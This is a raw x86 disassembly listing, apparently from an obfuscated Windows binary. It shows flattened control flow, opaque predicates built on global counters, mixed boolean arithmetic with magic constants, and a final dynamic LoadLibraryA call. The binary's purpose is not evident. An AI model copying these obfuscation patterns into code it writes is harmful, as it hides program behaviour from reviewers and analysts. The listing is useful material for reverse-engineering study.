mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0x22ec7b93
cmovne eax, esi
test dl, dl
mov edx, 0x22ec7b93
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x10
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x35d09eda
not edx
mov esi, edx
and ecx, eax
and esi, 0x35d09eda
and edx, 0xd246861e
and eax, 0x2db979e1
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x947a4fc9
mov edx, eax
xor edx, 0x2db979e1
xor eax, 0xd246861e
and esi, 0x6b85b036
or ecx, esi
mov esi, ecx
xor esi, 0xa1aad112
xor ecx, 0x5e552eed
and eax, esi
and edx, ecx
mov esi, 0x23b509c4
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x4a2b80], 0xa
mov dh, dl
setge al
setl ch
mov cl, al
or dh, ch
and al, ah
xor cl, dl
and dl, ch
xor dh, 1
and cl, ch
or ch, ah
or al, dl
or cl, dh
xor ch, 1
or al, ch
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xae7fecb2
cmovne ecx, esi
test al, 1
jmp 0x40c7d8
mov eax, 0x9277211
jmp 0x402240
cmp dword [ebp - 0x178], 0
mov eax, 0xb00407de
mov ecx, 0x38eed560
cmove eax, ecx
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xbdd9ef98
and ecx, 0x42261067
or eax, ecx
mov ecx, eax
xor ecx, 0x81d08e10
xor eax, 0x41064
and eax, 0x3c0d71ec
and ecx, 0xc3f28e13
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x240d20c8
xor esi, 0xc3f28e13
xor ecx, 0x2c0050a8
mov eax, esi
and esi, 0x9a20db34
and edx, 0x65df24cb
or eax, 1
and ecx, 0xeee254ba
or edx, esi
mov edi, eax
and edi, 0x111dab44
mov esi, edx
xor esi, 0x64c2048a
xor edx, 0x9a20db35
or ecx, edi
or eax, edx
and edx, 0x111dab44
and esi, 0xeee254bb
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xd07b3673
and eax, 0x2f84c98c
mov esi, edx
not esi
and edx, 0x30ec6315
or ecx, eax
mov eax, ecx
xor eax, 0x10682211
xor ecx, 0x2f84c98c
mov edi, ecx
or ecx, esi
and esi, 0xcf139cea
and edi, 0xcf139cea
and eax, 0x30ec6315
or edx, esi
or eax, edi
not ecx
mov esi, 0xc0ac34c1
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x9b38de23
mov edx, eax
and edx, 0x64c721dc
or ecx, edx
xor ecx, 0x64c721dc
xor eax, ecx
test eax, ecx
sete ah
cmp dword [0x4a2b80], 0xa
setl cl
setge al
mov edx, ecx
or cl, ah
xor dl, ah
or ah, al
and al, dl
xor ah, 1
not dl
or al, ah
mov ah, dl
or dl, cl
xor ah, cl
not dl
mov ecx, 0x6e4989f3
or dl, ah
xor dl, al
and dl, 1
cmovne ecx, esi
test dl, al
cmove ecx, esi
test dl, dl
mov esi, 0x6e4989f3
cmove ecx, esi
test dl, al
mov eax, dword [ebp - 0x28]
cmovne ecx, esi
mov eax, dword [eax]
mov esi, eax
xor esi, 0xbfffffff
mov edx, eax
and edx, 0xae0b71be
and esi, eax
not eax
mov edi, eax
and edi, 0x11f48e41
or edx, edi
xor edx, 0xae0b71be
or esi, edx
not esi
or esi, eax
mov eax, ecx
cmp esi, 0xffffffff
setne byte [ebp - 0x78]
jmp 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x4c8c2d5
mov esi, eax
mov edi, eax
or esi, 0x42031402
and edx, 0x46cbd6d7
and edi, 0x80342800
and eax, 0xeeb355f0
or edi, edx
mov edx, ecx
and esi, 0x46cbd6d7
and edx, 0x39000128
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x1164401d
and esi, 0xee9bbfe2
or edx, esi
mov esi, edx
xor edx, 0x2ca001e0
xor esi, 0xd3537c1e
mov edi, esi
or esi, ecx
and ecx, 0x114caa0f
and edi, 0x114caa0f
and edx, 0xeeb355f0
or edx, edi
or eax, ecx
not esi
xor eax, edx
or esi, eax
xor esi, 0xffffffff
sete ah
setne dl
cmp dword [0x4a2b80], 0xa
mov cl, ah
mov ch, dl
setl al
xor cl, al
or ch, al
xor dl, al
and cl, al
or al, ah
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
mov dh, cl
or cl, ch
xor al, 1
xor dh, ch
xor cl, 1
or al, ah
or cl, dh
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or dl, al
or cl, ah
mov ch, dl
xor cl, al
mov eax, 0xf7626d21
xor cl, 1
xor ch, cl
test dl, 1
mov edx, 0xfbb73dc8
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0xf7626d21
cmove eax, edx
jmp 0x402240
mov eax, dword [ebp - 0xe0]
mov eax, 0x4e875093
jmp 0x402240
mov eax, dword [ebp - 0x128]
add eax, 0x78
mov dword [ebp - 0xdc], eax
mov eax, 0xe146c161
jmp 0x402240
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x140], eax
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
or esi, 1
mov ecx, eax
mov edi, eax
or ecx, 0x1fd21ef8
and esi, 0x1fd21ef9
and edi, 0xe02de106
and eax, 0x9183333e
or edi, esi
and ecx, 0x1fd21ef9
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x50435e95
and esi, 0xafbca16a
or ecx, esi
mov esi, ecx
xor esi, 0x10031214
xor ecx, 0xafbca16a
mov edi, ecx
or ecx, edx
and edx, 0x6e7cccc1
and edi, 0x6e7cccc1
and esi, 0x9183333e
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0xc9be5284
or ecx, eax
xor ecx, 0xffffffff
setne al
sete cl
cmp dword [0x4a2b80], 0xa
mov ch, al
setl dl
setge ah
and ch, ah
and dl, cl
xor al, ah
or dl, ch
mov ecx, edx
xor cl, ah
and cl, dl
mov edx, ecx
mov ch, cl
xor dl, 1
and dl, al
xor al, 1
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0xca53eaef
mov cl, ch
xor cl, al
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test ch, ch
cmove eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xd
mov eax, 0x91a61c02
jmp 0x402240
mov eax, dword [ebp - 0x154]
mov ecx, 0x6c519a8d
cmp eax, dword [ebp - 0x158]
mov eax, 0x93b2caf4
cmovl eax, ecx
jmp 0x402240
mov eax, 0xdbad288d
jmp 0x402240
mov eax, 0xd9dc0592
jmp 0x402240
cmp byte [ebp - 0x73], 0
mov eax, 0xfb282aa8
mov ecx, 0xaf324190
cmovne eax, ecx
jmp 0x402240
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
inc eax
mov dword [ecx], eax
mov eax, 0xc5a4fdf4
jmp 0x402240
mov eax, 0x421ae635
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xf2dee95e
mov esi, edx
and esi, 0xd2116a0
and edx, 0x4c7a6c86
or ecx, esi
mov esi, ecx
xor esi, 0x42cec852
xor ecx, 0xd2116a1
mov edi, ecx
and edi, 0xbd30252d
and esi, 0x42cfdad2
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0xb3859379
mov ebx, edi
not ebx
and edi, 0x42cfdad2
or eax, edx
or ecx, ebx
and ebx, 0xbd30252d
xor eax, 0xb3859379
or edi, ebx
not ecx
xor edi, esi
mov esi, 0x39f09083
or ecx, edi
not ecx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xaa814e5e
and ecx, 0x557eb1a1
or eax, ecx
xor eax, 0xaa814e5e
sete ah
setne dl
cmp dword [0x4a2b80], 0xa
setge ch
setl al
mov cl, ch
xor cl, dl
mov dh, cl
and cl, ch
and ch, ah
and dh, dl
and dl, al
or al, ah
or dl, ch
xor al, 1
mov bl, dh
xor dh, cl
xor cl, 1
or al, dl
xor bl, 1
mov dl, al
or cl, bl
not dl
xor cl, 1
and dl, al
or cl, dh
xor dl, 1
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or dl, ah
xor dl, cl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xfdd5e4a7
cmovne esi, eax
test cl, 1
mov eax, 0x39f09083
cmovne eax, esi
test dl, 1
cmove eax, esi
jmp 0x402240
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x8a9041ab
mov edx, eax
and edx, 0x40241000
and eax, 0x354bae54
or ecx, edx
xor ecx, 0x8a9041ab
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x9535b3dc
and edx, 0xfffffffe
and ecx, 0x6aca4c23
or eax, ecx
xor eax, 0x9535b3dd
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xc295c08c
and eax, 0x3d6a3f73
or ecx, eax
mov eax, ecx
xor eax, 0x42900080
xor ecx, 0x3d6a3f73
mov esi, ecx
and esi, 0x902dfb1d
and eax, 0x6fd204e2
or eax, esi
mov esi, edx
not esi
and edx, 0x6fd204e2
or ecx, esi
and esi, 0x902dfb1d
or edx, esi
not ecx
mov esi, 0xf01f9cb5
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x2133e67a
and eax, 0xdecc1985
or eax, ecx
mov ecx, eax
xor ecx, 0x100427a
xor eax, 0x56881180
and eax, 0x76bbb580
and ecx, 0x89444a7f
or ecx, eax
xor ecx, 0x89444a7f
setne ch
sete dl
cmp dword [0x4a2b80], 0xa
mov cl, ch
setl ah
setge al
inc cl
mov dh, ah
xor ah, dl
and cl, al
and dl, al
or al, ch
xor al, 1
and dh, ch
or al, ah
or dl, dh
or cl, dh
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0xcb5a400d
cmovne esi, eax
test dl, 1
mov eax, 0xf01f9cb5
cmovne eax, esi
jmp 0x40d2d3
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0xfc], eax
mov eax, 0x1156c4d7
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xb77fc00c
mov esi, ecx
and esi, 0x48803ff2
and ecx, 0x20022907
or esi, edx
mov edx, eax
or edx, 0xb77fc00c
and eax, 0xdffdd6f8
and edx, 0xb77fc00d
or eax, ecx
xor edx, esi
xor eax, 0xdffdd6f8
mov esi, edx
not esi
and edx, 0xe0e80e28
and esi, 0x1f17f1d7
or edx, esi
mov esi, 0x7d5c56b2
xor edx, 0xe0e80e28
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe5809a5b
and ecx, 0x1a7f65a4
or eax, ecx
xor eax, 0xe5809a5b
setne dl
sete ah
cmp dword [0x4a2b80], 0xa
setl al
setge cl
mov dh, al
xor dh, ah
mov ch, dh
and ch, ah
and ah, cl
or cl, dl
xor cl, 1
mov bl, ch
or cl, dh
and dh, al
and al, dl
xor bl, 1
or al, ah
xor ch, dh
xor dh, 1
xor al, 1
or dh, bl
mov dl, al
or al, cl
xor dh, 1
xor dl, cl
xor al, 1
or dh, ch
or al, dl
mov ecx, eax
xor cl, dh
xor dh, 1
or dh, al
mov dl, cl
mov eax, 0x4e875093
xor dl, dh
test dh, 1
cmovne eax, esi
test cl, 1
not dl
mov ecx, 0x4e875093
cmovne eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402240
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
inc eax
mov dword [ecx], eax
mov eax, 0x920dfb79
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xdb1000c5
and eax, 0xc2102
mov edx, ecx
or edx, 0x4414028
and esi, 0xdf5140ed
and ecx, 0x20a29e10
and edx, 0xdf5140ed
or ecx, esi
mov esi, 0xcb5a400d
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x24e3de38
and ecx, 0xdb1c21c7
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x78027106
and edx, 0xfffffffe
and ecx, 0x87fd8ef9
or eax, ecx
xor eax, 0x78027107
or eax, edx
mov ecx, eax
not ecx
and eax, 0xdc913ee7
and ecx, 0x236ec118
or ecx, eax
xor ecx, 0xdc913ee7
setne al
sete ah
cmp dword [0x4a2b80], 0xa
mov edx, eax
setl ch
setge cl
or al, ch
and dl, cl
and ch, ah
or ch, dl
xor al, 1
mov dl, ch
xor dl, cl
or cl, ah
xor cl, 1
and dl, ch
or cl, al
mov eax, edx
xor dl, cl
xor al, 1
xor cl, 1
or cl, al
mov eax, 0xcb5a400d
mov ch, cl
xor ch, dl
test dl, dl
mov edx, 0x20e920de
cmovne eax, edx
test cl, cl
cmovne eax, esi
test ch, 1
cmove eax, edx
jmp 0x402240
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x9a1de3cc
mov eax, edx
and eax, 0x981003c8
and ecx, edx
not edx
and edx, 0x20de004
or eax, edx
mov edx, eax
xor edx, 0x88100208
xor eax, 0x67effc37
mov esi, eax
and esi, 0x7204e5f1
and edx, 0x8819020c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x8dfb1a0e
or eax, esi
and esi, 0x7204e5f1
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9a1de3cc
and ecx, 0x65e21c33
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x7ad4826d
and eax, 0x2f823612
mov esi, ecx
and esi, 0x852b7d92
or ecx, 1
or edx, esi
and ecx, 0xd07dc9ed
mov esi, edx
not esi
and edx, 0x7932a961
or ecx, eax
and esi, 0x86cd569e
xor ecx, 0xd07dc9ed
or edx, esi
mov esi, 0x723110a3
xor edx, 0xfc19d4f2
or ecx, edx
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x77a9a76d
and ecx, 0x88565892
or edx, ecx
xor edx, 0x77a9a76d
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf4e08a2d
and ecx, 0xb1f75d2
or eax, ecx
mov ecx, eax
xor ecx, 0x40400224
xor eax, 0x1e0450
and eax, 0xb4be8c59
and ecx, 0x4b4173a6
or ecx, eax
mov eax, ecx
xor eax, 0x249e8041
xor ecx, 0x4a007024
and ecx, 0xda207c3c
and eax, 0x25df83c3
or eax, ecx
xor eax, 0x25df83c3
setne dl
sete al
cmp dword [0x4a2b80], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
or dl, ah
and dh, ch
and cl, al
xor al, ah
and al, ah
mov ah, dl
or cl, dh
xor al, 1
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xc2de820
cmovne ecx, esi
test al, 1
mov esi, 0xc2de820
jmp 0x40c8e2
mov eax, 0x29e73935
jmp 0x402240
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x251961fe
mov eax, ecx
or eax, 0xdae69e01
and edx, ecx
not ecx
mov edi, eax
and edi, 0x1ad218be
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0x25096140
and edx, 0xe52de741
or eax, ebx
and ebx, 0x1ad218be
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x6f301d8b
or eax, edx
mov edx, eax
not edx
and eax, 0xd0cdabcd
and edx, 0x2f325432
or eax, edx
mov edx, eax
xor edx, 0x35508a10
xor eax, 0x2090005
and eax, 0xc28d4027
and edx, 0x3d72bfd8
or edx, eax
xor edx, 0x3d72bfd8
or edx, ecx
mov eax, edx
not eax
and edx, 0x9a572ad6
and eax, 0x65a8d529
or edx, eax
xor edx, 0x9a572ad6
setne cl
sete dl
cmp dword [0x4a2b80], 0xa
setl al
setge ah
and ah, dl
and cl, al
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xfbb73dc8
cmovne eax, esi
test dl, dl
mov edx, 0xfbb73dc8
cmove eax, edx
jmp 0x40d2d3
mov eax, dword [ebp - 0x40]
mov dword [eax], 0x20
mov eax, 0xe5da2b57
jmp 0x402240
mov eax, 0xfa15242f
jmp 0x402240
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x2adc0b66
mov eax, edx
and eax, 0x22cc0140
and ecx, edx
not edx
and edx, 0x8100a26
or eax, edx
mov edx, eax
xor edx, 0xcc0100
xor eax, 0xdd33febf
mov esi, eax
and esi, 0x2b30acfb
and edx, 0xcc0304
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd4cf5304
or eax, esi
and esi, 0x2b30acfb
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4cbe3ac6
and ecx, 0xb341c539
or eax, ecx
mov ecx, eax
xor ecx, 0x666231a0
mov edx, eax
xor edx, 0x1091084f
mov esi, ecx
or esi, 0x41248400
and edx, 0x34d108ef
and ecx, 0xfffffffe
and esi, 0x4b24e700
or edx, esi
mov esi, eax
xor esi, 0x1048400
xor eax, 0x21000
or esi, 0xa006300
and eax, 0x800a1010
and esi, 0x4b24e700
or eax, esi
mov esi, 0x45dac5cf
xor eax, edx
mov edx, eax
not edx
and eax, 0x2cf28dab
and edx, 0xd30d7254
or eax, edx
xor eax, 0x1223e645
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x8b625a30
and eax, 0x749da5cf
or eax, edx
xor eax, 0x749da5cf
or eax, ecx
xor eax, 0xffffffff
setne ah
sete al
cmp dword [0x4a2b80], 0xa
mov dh, ah
setl ch
setge dl
mov cl, ch
xor ah, dl
and dh, dl
and cl, al
and ah, al
xor al, ch
and al, ch
mov ch, ah
or cl, dh
xor ah, al
xor ch, 1
xor al, 1
xor cl, 1
or al, ch
or cl, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and al, cl
xor ah, 1
and dl, ah
or ah, cl
mov ecx, 0xffaf0dc1
or dl, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xffaf0dc1
cmovne eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x402240
mov eax, dword [ebp - 0x14]
mov eax, 0x2a520b
jmp 0x402240
mov eax, 0x92b86d1
jmp 0x402240
mov eax, dword [ebp - 0xb8]
mov eax, 0x976dc616
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xb1c7095
mov edi, edx
mov esi, ecx
and esi, 0xcee2916f
and edi, 0x30010e00
and edx, 0xba381d64
or edi, esi
mov esi, eax
xor esi, 0xf4e38f6a
and esi, eax
and eax, 0x45c7e29b
mov ebx, esi
not ebx
and esi, 0x311d6e90
or eax, edx
or ecx, ebx
and ebx, 0xcee2916f
mov edx, eax
xor eax, 0xba381d64
xor edx, 0x45c7e29b
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x3c197121
and esi, 0xc3e68ede
or ecx, esi
mov esi, ecx
xor esi, 0xc8fafe4a
xor ecx, 0x370501b5
and eax, esi
and edx, ecx
mov esi, 0x4461f1a5
or eax, edx
xor ecx, eax
test ecx, eax
setne ah
sete ch
cmp dword [0x4a2b80], 0xa
setl dl
setge cl
and ah, dl
and cl, ch
mov al, dl
or dl, ch
or cl, ah
mov ah, dl
xor al, ch
xor cl, 1
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov ecx, 0x794d1c43
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, 1
mov eax, 0x794d1c43
jmp 0x402230
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xa0]
mov eax, 0xfa15242f
jmp 0x402240
cmp byte [ebp - 0x6f], 0
mov eax, 0x1dae0b1c
mov ecx, 0x94a693d6
cmovne eax, ecx
jmp 0x402240
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, 0xa62215df
jmp 0x402240
mov eax, 0x87f2f6e8
jmp 0x402240
mov eax, dword [ebp - 0x144]
add eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0xfdabd092
jmp 0x402240
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x44]
add eax, 2
mov dword [ecx], eax
mov eax, 0x9a9ce51
jmp 0x402240
mov eax, dword [ebp - 0x28]
mov eax, 0xc531f5e3
jmp 0x402240
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xa
mov eax, 0xed234cdd
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xb0784374
and eax, 0xb2cbd0ed
mov esi, edx
and esi, 0x4f87bc8a
or ecx, esi
mov esi, ecx
xor esi, 0x400150
xor ecx, 0x407a401
and ecx, 0xb43fe625
and esi, 0x4bc019da
or esi, ecx
mov ecx, edx
or ecx, 0xb43fe624
and edx, 0x4d342f12
and ecx, 0xb43fe625
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0xb8ca5adc
and esi, 0x4735a523
or ecx, esi
mov esi, ecx
xor esi, 0x18ca08d0
xor ecx, 0x4735a523
mov edx, ecx
and edx, 0xa325560e
and esi, 0x5cdaa9f1
or esi, edx
mov edx, eax
xor edx, 0x10ca80e1
xor eax, 0x4d342f12
or ecx, eax
and eax, 0xa325560e
and edx, 0x5cdaa9f1
or edx, eax
not ecx
xor edx, esi
mov esi, 0x2190d9b5
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x6571d0e6
and eax, 0x9a8e2f19
or ecx, eax
xor ecx, 0x6571d0e6
sete al
setne cl
cmp dword [0x4a2b80], 0xa
setge dl
or cl, dl
xor al, dl
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0x56339281
cmovne ecx, esi
test dl, dl
mov esi, 0x56339281
jmp 0x40e029
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x95010020
and eax, 0x880ed83
mov edx, ecx
and edx, 0x21a0208
or ecx, 0x84030220
or esi, edx
and ecx, 0xe4671274
mov edx, esi
xor edx, 0x11000000
xor esi, 0x60661254
or eax, ecx
and esi, 0xe4671274
and edx, 0x13180008
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x971b0228
and ecx, 0x68e4fdd7
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x705ce7e3
mov esi, ecx
and esi, 0x8fa3181c
or edx, esi
mov esi, eax
not esi
and eax, 0x705ce7e3
or ecx, esi
and esi, 0x8fa3181c
or eax, esi
not ecx
mov esi, 0xb12d340a
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x328796a8
and eax, 0xcd786957
or eax, edx
xor eax, 0x328796a8
xor ecx, eax
test ecx, eax
setne ah
sete al
cmp dword [0x4a2b80], 0xa
mov cl, ah
setl ch
setge dl
inc cl
mov dh, cl
xor al, ch
and dh, ah
and al, ch
xor dh, 1
or dh, ah
or ah, ch
mov ch, dl
xor ah, 1
inc ch
xor dh, 1
or al, ah
mov ah, ch
or dh, cl
or cl, ch
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
xor dh, ah
mov ah, al
xor dh, 1
xor ah, 1
mov dl, dh
xor dl, cl
or cl, dh
xor cl, 1
or cl, dl
mov edx, eax
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
or dl, ch
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or dl, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, 0xe6fa3224
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
not ch
mov edx, 0xe6fa3224
cmove eax, esi
test ch, 1
cmovne eax, edx
jmp 0x402240
mov eax, 0xed40eaca
jmp 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x3fdac46c
mov esi, edx
and esi, 0xc0253b92
and edx, 0x1ee0e14a
or eax, esi
mov esi, eax
xor esi, 0x6508068
xor eax, 0xc0253b93
mov edi, eax
and edi, 0x79ab6e86
and esi, 0x86549178
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xe11f1eb5
mov ebx, edi
not ebx
and edi, 0x86549179
or ecx, edx
or eax, ebx
and ebx, 0x79ab6e86
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edx, eax
and edx, 0x31fa0e56
and esi, 0xce05f1a9
or esi, edx
mov edx, ecx
xor edx, 0xc00510a1
xor ecx, 0x1ee0e14a
or eax, ecx
and ecx, 0x31fa0e56
and edx, 0xce05f1a9
or edx, ecx
not eax
xor edx, esi
mov esi, 0xea82d903
or eax, edx
cmp eax, 0xffffffff
setne ah
cmp dword [0x4a2b80], 0xa
mov ch, ah
mov bl, ah
setge dl
setl dh
inc ch
mov cl, ch
and cl, ah
xor cl, 1
or bl, cl
xor bl, 1
or bl, ch
mov al, bl
xor al, 1
and al, bl
xor al, 1
mov bh, al
or al, bl
xor bh, bl
xor al, 1
or al, bh
and dh, al
xor al, 1
and al, dl
or al, dh
mov dh, cl
or cl, ch
xor dh, ch
xor cl, 1
mov ch, dl
or cl, dh
xor ch, ah
xor cl, dl
or dl, ah
xor dl, 1
xor cl, 1
or dl, ch
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, dl
or dl, cl
xor ch, cl
xor dl, 1
mov cl, al
or dl, ch
xor cl, 1
and cl, dl
xor dl, 1
and dl, al
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0xdd96a06e
cmovne eax, esi
test dl, dl
mov edx, 0xdd96a06e
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402240
cmp byte [ebp - 0x7a], 0
mov eax, 0xfbbc9ff
mov ecx, 0xb160ee45
cmovne eax, ecx
jmp 0x402240
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x88]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x80064400
mov esi, edx
mov edi, edx
or esi, 0x21600a2a
and ecx, 0xa1664e2a
